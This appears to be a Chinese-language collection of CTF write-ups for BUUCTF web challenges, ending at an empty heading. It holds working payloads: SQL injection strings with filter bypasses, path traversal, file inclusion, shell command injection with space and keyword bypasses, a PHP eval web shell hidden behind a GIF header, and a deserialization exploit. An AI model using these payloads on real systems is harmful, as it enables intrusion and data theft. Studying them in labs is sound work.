# [极客大挑战 2019] EasySQL

# 考点:sql 注入

username=1' or 1=1#
password=1

# [HCTF 2018]WarmUp

# 考点:php 代码审计

f12 发现 source.php

在这里插入图片描述

查看 source.php

在这里插入图片描述

查看 hint.php 告诉我们 flag 在 ffffllllaaaagggg 里

代码审计

要判断是否不为空且在白名单中,并且会取出?号前的的字符串来进行判断

那么我们可以构造

?file=source.php?ffffllllaaaagggg

可以发现他是 true 的,但是没有回显,可以猜测是在上级目录

?file=source.php?../ffffllllaaaagggg

这样好像不行

要在?后加一个 /

添加斜杠起作用主要是因为将前面的 “hint.php?” 变成了一个目录

payload

?file=source.php?/../../../../ffffllllaaaagggg

# [极客大挑战 2019] Havefun

f12

发现注释代码

在这里插入图片描述

试试传入参数 dog

得到 flag

# [ACTF2020 新生赛] Include

# 考点:文件包含

?file=php://filter/convert.base64-encode/resource=flag.php

# [强网杯 2019] 随便注

# 考点:sql 注入

输入 1 2 到 3 报错,说明字段数为 2

尝试 union 注入,过滤了 select

堆叠注入

通过;号注入多条 SQL 语句

爆数据库

0'; show databases; #

爆表

0'; show tables; #

爆字段

0'; show columns from `1919810931114514 `; #

最后

1'; handler `1919810931114514` open as `a`; handler `a` read next;#
handler
HANDLER tbl_name OPEN [ [AS] alias]
# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE

# [ACTF2020 新生赛] Exec

# 考点:RCE

这道题就是利用管道符来做

可以直接在 ping 输入框中输入 1;cat /fag; 也可以 1|cat /flag 1&cat /flag

当然如果使用 || 必须需要前面是一个假的,就是前面条件为假才执行后面的否则只执行前面的 所以可以用 a||cat /flag

以上方法都可以得到结果

1、|(就是按位或),直接执行 | 后面的语句

2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

3、&(就是按位与),& 前面和后面命令都要执行,无论前面真假

4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

5、; 前后都执行,无论前面真假,同 &,(linux 也有)

127.0.0.1 | ls
127.0.0.1 | ls ../
127.0.0.1 | ls ../../
127.0.0.1 | ls ../../../
127.0.0.1 | cat ../../../flag

# [SUCTF 2019]EasySQL

# 考点:sql 注入

用堆叠注入

爆数据库

0'; show databases; #

爆表

0'; show tables; #

爆字段

0'; show columns from `Flag `; #

显示 nonono

用 fuzz 跑一下

handler like LiKe sleep SLEEp delete or oR insert insERT INSERT INFORMATION xor AND ANd CREATE " union UNIon UNION " & && oorr anandd IF sleep LIKE infromation_schema OR ORDER ORD UNION UPDATE WHERE AND prepare update delete drop CREATE DELETE DROP floor rand() information_schema.tables ORD extractvalue order ORDER OUTFILE updatexml format ord UPDATE WHERE for BEFORE REGEXP RLIKE SEPARATOR XOR CURSOR FLOOR from

禁了这么多

大佬猜测查询代码为

select $_post['query']||flag from Flag

|| 的特点是如果前面为真,后面就不会执行,那么我们传入 *,1 之后语句就会变成 select *,1 from Flag,而 1 会在表添加一列 1,所以得到 flag

# [极客大挑战 2019] Secret File

查看源代码,发现 archive.php

访问,在查看源代码 发现 action.php

访问发现 直接到了 end.php 跳转太快了

那么抓包 得到 secr3t.php

文件包含

payload

?file=php://filter/convert.base64-encode/resource=flag.php

base64 解密

# [GXYCTF2019]Ping Ping Ping

# 考点:RCE

首先 ls 查看

发现过滤了空格,|

用;代替

1;ls

得到 flag.php 和 index.php

查看 index

因为空格被过滤了

用 $IFS$1 代替

1;cat$IFS$1index.php

+++ 空格代替 linux

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat$IFS$1flag.txt
cat<flag.txt
%09替换
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

+++

发现 flag 也被过滤了

# 方法一:反引号

在 linux 系统中,反引号是作为内联执行,输出查询结果的内容。比如用 ls 查询出 index.php。那么 ls 就代表了 index.php 这个文件。那么我们就可以使用 cat 命令查看 index.php 的内容,而这一道题就可以使用 cat$IFS$1 ls 这个命令来输出 flag 了。

cat$IFS$1`ls`

# 方法二:变量拼接

让变量 a=ag,让变量 b=fl

a=ag;b=fl;cat$IFS$9$b$a.php

# [极客大挑战 2019] LoveSQL

# 考点:sql 注入

用万能密码登录

得到了密码

没啥用

尝试注入

  • 测试多少列
1' order by 3#
  • 爆库
=1' union select 1,database(),3#
  • 爆表
=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
  • 爆字段
=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
  • 爆字段值
=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

# [极客大挑战 2019] Knife

蚁剑链接

密码 Syc

根目录里找到 flag

# [极客大挑战 2019] Http

查看源代码

发现 secre.php

访问

得到

It doesn't come from 'https://Sycsecret.buuoj.cn'

抓包 在请求头中增加 Referer 字段即可

Referer: https://Sycsecret.buuoj.cn

得到

Please use "Syclover" browser

用 Syclover 浏览器

那么就要改 User-Agent

User-Agent: Syclover

得到

No!!! you can only read this locally!!!

只能本地访问

添加 XFF 头

X-Forwarded-For: 127.0.0.1

PS: 请求头详解

注意放的位置要在 connection 上面

# [极客大挑战 2019] Upload

# 考点:文件上传

尝试上传

报错 不能包含 <?

换一个

<script language='php'>eval($_POST['cmd']);</script>

报错不是真的图片

加头

GIF98a

尝试.phtml

上传成功,蚁剑链接得到 flag

1.phtml
GIF98a
<script language='php'>eval($_POST['cmd']);</script>

# [ACTF2020 新生赛] Upload

# 考点:文件上传

也尝试上传 1.phtml,成功了

蚁剑链接

# [极客大挑战 2019] BabySQL

# 考点:sql 注入

首先

1' or 1=1#

报错

过滤了 or

用双写绕过

1' oorr 1=1#

成功了

都用双写绕过

  • 测试多少列
1' oorrder bbyy 4#
  • 爆库
1' ununionion selselectect 1,database(),3#
  • 爆表
1' ununionion selselectect 1,group_concat(table_name),3 frofromm infoorrmation_schema.tables whwhereere table_schema=database()#
  • 爆字段
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema=database() anandd table_name='b4bsql'#
  • 爆字段值
1' ununionion selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#

# [极客大挑战 2019] PHP

# 考点:php 反序列化

打开提示备份

dirsearch 扫一下目录

没扫出来为什么

看大佬 wp 是 www.zip

得到 index.php

<?php
    include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

unserrialize 反序列化 将字符串转换成变量或对象的过程

常用的内置方法:
_construct ():创建对象时初始化,当一个对象创建时被调用
_wakeup () 使用 unserialize 时触发
_sleep () 使用 serialize 时触发
_destruction ():结束时销毁对象,当一个对象销毁时被调用

class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function __wakeup(){
        $this->username = 'guest';
    }
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
            
        }
    }
}
?>

当 username=admin 时得到 flag

将 name 类序列化结果输出

<?php
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
$b = serialize($a);
echo $b;
?>

结果为

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

绕过_wakeup 方法

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup () 函数的执行

原本:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
绕过:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

输出结果中 Name 和 username,Name 和 password 之间是有不可见字符的,因为 private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上 ascii 为 0 的字符(不可见字符)

?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

# [RoarCTF 2019]Easy Calc

查看源码

<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

有 waf

访问 calc.php

num 只能输入数字

PHP 字符串解析特性绕过 WAF

输入时发现 num 只能输入数字,输入字符无法解析。
PHP 需要将所有参数转换为有效变量名,因此在解析查询字符串时,它会做两件事:1,删除空白字符;2,将某些字符转换为下划线(包括空格)

现在的变量叫 “num”,而不是 “num”。但 php 在解析的时候,会先把空格给去掉,这样代码还能正常运行,还上传了非法字符。

scandir () 函数:返回指定目录中的文件和目录的数组

var_dump ():输出变量的相关信息

http://node4.buuoj.cn:27280/calc.php?%20num=1;var_dump(scandir(chr(47)))

找到了 f1agg

http://node4.buuoj.cn:27280/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

# [ACTF2020 新生赛] BackupFile

扫目录

不知道为什么还是没扫出来。。。

看别人的 wp

index.php.bak

得到 php 代码

<?php
include_once "flag.php";
if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

弱比较漏洞

因为字符串在和数字比较的时候会将字符串转化为数字

payload:

key=123

# [极客大挑战 2019] BuyFlag

更新于 阅读次数